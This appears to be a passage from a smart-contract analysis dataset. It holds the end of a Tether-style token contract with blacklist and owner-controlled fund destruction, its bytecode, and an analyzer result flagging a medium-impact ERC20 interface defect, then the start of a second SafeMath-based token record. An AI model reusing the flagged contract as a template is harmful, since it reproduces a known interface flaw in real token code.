function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TetherToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x606060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c14610229578063095ea7b3146102625780630e136b19146102a45780630ecb93c0146102d157806318160ddd1461030a57806323b872dd1461033357806326976e3f1461039457806327e235e3146103e9578063313ce56714610436578063353907141461045f5780633eaaf86b146104885780633f4ba83a146104b157806359bf1abe146104c65780635c658165146105175780635c975abb1461058357806370a08231146105b05780638456cb59146105fd578063893d20e8146106125780638da5cb5b1461066757806395d89b41146106bc578063a9059cbb1461074a578063c0324c771461078c578063cc872b66146107b8578063db006a75146107db578063dd62ed3e146107fe578063dd644f721461086a578063e47d606014610893578063e4997dc5146108e4578063e5b5019a1461091d578063f2fde38b14610946578063f3bdc2281461097f575b600080fd5b34156101a657600080fd5b6101ae6109b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ee5780820151818401526020810190506101d3565b50505050905090810190601f16801561021b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023457600080fd5b610260600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a56565b005b341561026d57600080fd5b6102a2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b73565b005b34156102af57600080fd5b6102b7610cc1565b604051808215151515815260200191505060405180910390f35b34156102dc57600080fd5b610308600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd4565b005b341561031557600080fd5b61031d610ded565b6040518082815260200191505060405180910390f35b341561033e57600080fd5b610392600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ebd565b005b341561039f57600080fd5b6103a761109d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f457600080fd5b610420600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c3565b6040518082815260200191505060405180910390f35b341561044157600080fd5b6104496110db565b6040518082815260200191505060405180910390f35b341561046a57600080fd5b6104726110e1565b6040518082815260200191505060405180910390f35b341561049357600080fd5b61049b6110e7565b6040518082815260200191505060405180910390f35b34156104bc57600080fd5b6104c46110ed565b005b34156104d157600080fd5b6104fd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ab565b604051808215151515815260200191505060405180910390f35b341561052257600080fd5b61056d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611201565b6040518082815260200191505060405180910390f35b341561058e57600080fd5b610596611226565b604051808215151515815260200191505060405180910390f35b34156105bb57600080fd5b6105e7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611239565b6040518082815260200191505060405180910390f35b341561060857600080fd5b610610611348565b005b341561061d57600080fd5b610625611408565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561067257600080fd5b61067a611431565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c757600080fd5b6106cf611456565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070f5780820151818401526020810190506106f4565b50505050905090810190601f16801561073c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561075557600080fd5b61078a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114f4565b005b341561079757600080fd5b6107b6600480803590602001909190803590602001909190505061169e565b005b34156107c357600080fd5b6107d96004808035906020019091905050611783565b005b34156107e657600080fd5b6107fc600480803590602001909190505061197a565b005b341561080957600080fd5b610854600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b0d565b6040518082815260200191505060405180910390f35b341561087557600080fd5b61087d611c52565b6040518082815260200191505060405180910390f35b341561089e57600080fd5b6108ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c58565b604051808215151515815260200191505060405180910390f35b34156108ef57600080fd5b61091b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c78565b005b341561092857600080fd5b610930611d91565b6040518082815260200191505060405180910390f35b341561095157600080fd5b61097d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611db5565b005b341561098a57600080fd5b6109b6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e8a565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4e5780601f10610a2357610100808354040283529160200191610a4e565b820191906000526020600020905b815481529060010190602001808311610a3157829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ab157600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610b8b57600080fd5b600a60149054906101000a900460ff1615610cb157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1515610c9857600080fd5b6102c65a03f11515610ca957600080fd5b505050610cbc565b610cbb838361200e565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2f57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610eb457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610e9257600080fd5b6102c65a03f11515610ea357600080fd5b505050604051805190509050610eba565b60015490505b90565b600060149054906101000a900460ff16151515610ed957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f3257600080fd5b600a60149054906101000a900460ff161561108c57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b151561107357600080fd5b6102c65a03f1151561108457600080fd5b505050611098565b6110978383836121ab565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114857600080fd5b600060149054906101000a900460ff16151561116357600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561133757600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561131557600080fd5b6102c65a03f1151561132657600080fd5b505050604051805190509050611343565b61134082612652565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a357600080fd5b600060149054906101000a900460ff161515156113bf57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114ec5780601f106114c1576101008083540402835291602001916114ec565b820191906000526020600020905b8154815290600101906020018083116114cf57829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561151057600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561156957600080fd5b600a60149054906101000a900460ff161561168f57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561167657600080fd5b6102c65a03f1151561168757600080fd5b50505061169a565b611699828261269b565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116f957600080fd5b60148210151561170857600080fd5b60328110151561171757600080fd5b81600381905550611736600954600a0a82612a0390919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117de57600080fd5b60015481600154011115156117f257600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156118c257600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d557600080fd5b80600154101515156119e657600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a5557600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611c3f57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611c1d57600080fd5b6102c65a03f11515611c2e57600080fd5b505050604051805190509050611c4c565b611c498383612a3e565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd357600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611e8757806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ee757600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f3f57600080fd5b611f4882611239565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561202657600080fd5b600082141580156120b457506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156120c057600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156121c857600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061227061271061226260035488612a0390919063ffffffff16565b612ac590919063ffffffff16565b92506004548311156122825760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84101561233e576122bd8585612ae090919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6123518386612ae090919063ffffffff16565b91506123a585600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae090919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061243a82600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af990919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156125e4576124f983600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af990919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156126b657600080fd5b6126df6127106126d160035487612a0390919063ffffffff16565b612ac590919063ffffffff16565b92506004548311156126f15760045492505b6127048385612ae090919063ffffffff16565b915061275884600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ed82600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612997576128ac83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af990919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612a185760009150612a37565b8284029050828482811515612a2957fe5b04141515612a3357fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612ad357fe5b0490508091505092915050565b6000828211151515612aee57fe5b818303905092915050565b6000808284019050838110151515612b0d57fe5b80915050929150505600a165627a7a72305820893ad8c34859149ecb2ca6acd4e9c25bc4f0523b86c326944913a13ff72e959f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,176 |
0x53f2982282727255d4b1ef58d06f1ad7fc8e4f91
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
